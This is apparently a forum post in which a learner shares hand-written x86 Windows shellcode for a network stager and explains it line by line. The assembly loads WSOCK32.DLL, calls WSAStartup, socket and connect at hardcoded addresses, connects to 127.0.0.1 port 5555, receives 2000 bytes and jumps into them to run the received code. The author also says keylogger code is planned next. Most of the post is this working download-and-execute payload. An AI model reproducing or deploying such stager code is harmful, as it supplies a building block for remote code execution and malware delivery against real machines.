Quote:
Trying to create a stager is alot more difficult than I thought at first, these link were of great help
"w.w.w.metasploit.com/shellcode/windows/" & "w.w.w.vividmachines.com/shellcode/shellcode.html", I learnt that a function(in C) like func(string[40]); to use it in a shellcode
you move esp by 40d(asm sub esp ,40), and then push the address of the bottom. Asm doesn't understand static buffers or struct, but just makeing room for the space(int one = 0x04)
Learnt that most function that don't return a value, will not change to much of the data in the register when
it returns
asm xor eax ,eax;
asm xor ebx ,ebx;
asm mov esi ,0x4C4C44; these three hex values are WSOCK32.DLL back to front
asm push esi;
asm mov esi ,0x2E32334B;
asm push esi;
asm mov esi ,0x434F5357;
asm push esi;
asm mov ebx ,esp; This places the pointer to the buffer into ebx then onto the stack,
asm push ebx; which we pass to loadlibary
asm mov ecx ,0x77e41dc6;
asm call ecx;
asm sub sp ,400; These is above (buffer, struct), it holds 400d , i'm still trying things
asm push esp; and I think it would be better to have esp, to stop esp 0x1234 from wrapping around
asm push 0x101; if possable . version for communcation
asm mov ecx ,0x71c04f3b; WSAStartup address in wsock32
asm call ecx;
asm xor eax ,eax;
asm push eax; pass 2,1,0,0,0,0 pretty much copyed pasted from metasploit, changed it around
asm push eax; instead of inc eax , sub 0xffffffff = +1
asm push eax;
asm push eax;
asm sub eax ,0xffffffff;
asm push eax;
asm sub eax ,0xffffffff;
asm push eax;
asm mov ecx ,0x71c0410c; Calls socket
asm call ecx;
asm mov ebx ,eax; returns the handle stores it in ebx.
asm push 0x0100007f; 127.0.0.1 address 127 = 7fh Are network + comes in handy :)
asm push 0xb3150002; port 5555; plus 0002 for AF_INET
asm mov ecx ,esp; declares the struct for connect, uses raw data, means no need for inet/htons calls
asm push byte 0x10;
asm push ecx;
asm push ebx;
asm mov ecx ,0x71c0446a; connect
asm call ecx;
asm xor eax ,eax;
asm mov edi ,2000; 2000 bytes for our shell code used for length
asm sub esp ,edi; these two commands makes space then copys the bottom address into ebp
asm mov ebp , esp;
asm push eax; flags = 0
asm push edi; length = 2000
asm push ebp; pointer to bottom of buffer
asm push ebx; socket handle from above.
asm mov ecx ,0x71bb1120; recv
asm call ecx;
asm jmp esp; Our buffer was create before the values that get taken of the stack becasue
of the recv function, the shellcode that was recived should be at the esp value.
Still have to learn some more, without need help from other web sites.
I'm going to try and work on fork() block, so the shellcode that gets sent will have its own area to run,
which should help on the keylogger code next.
Later
post two.......two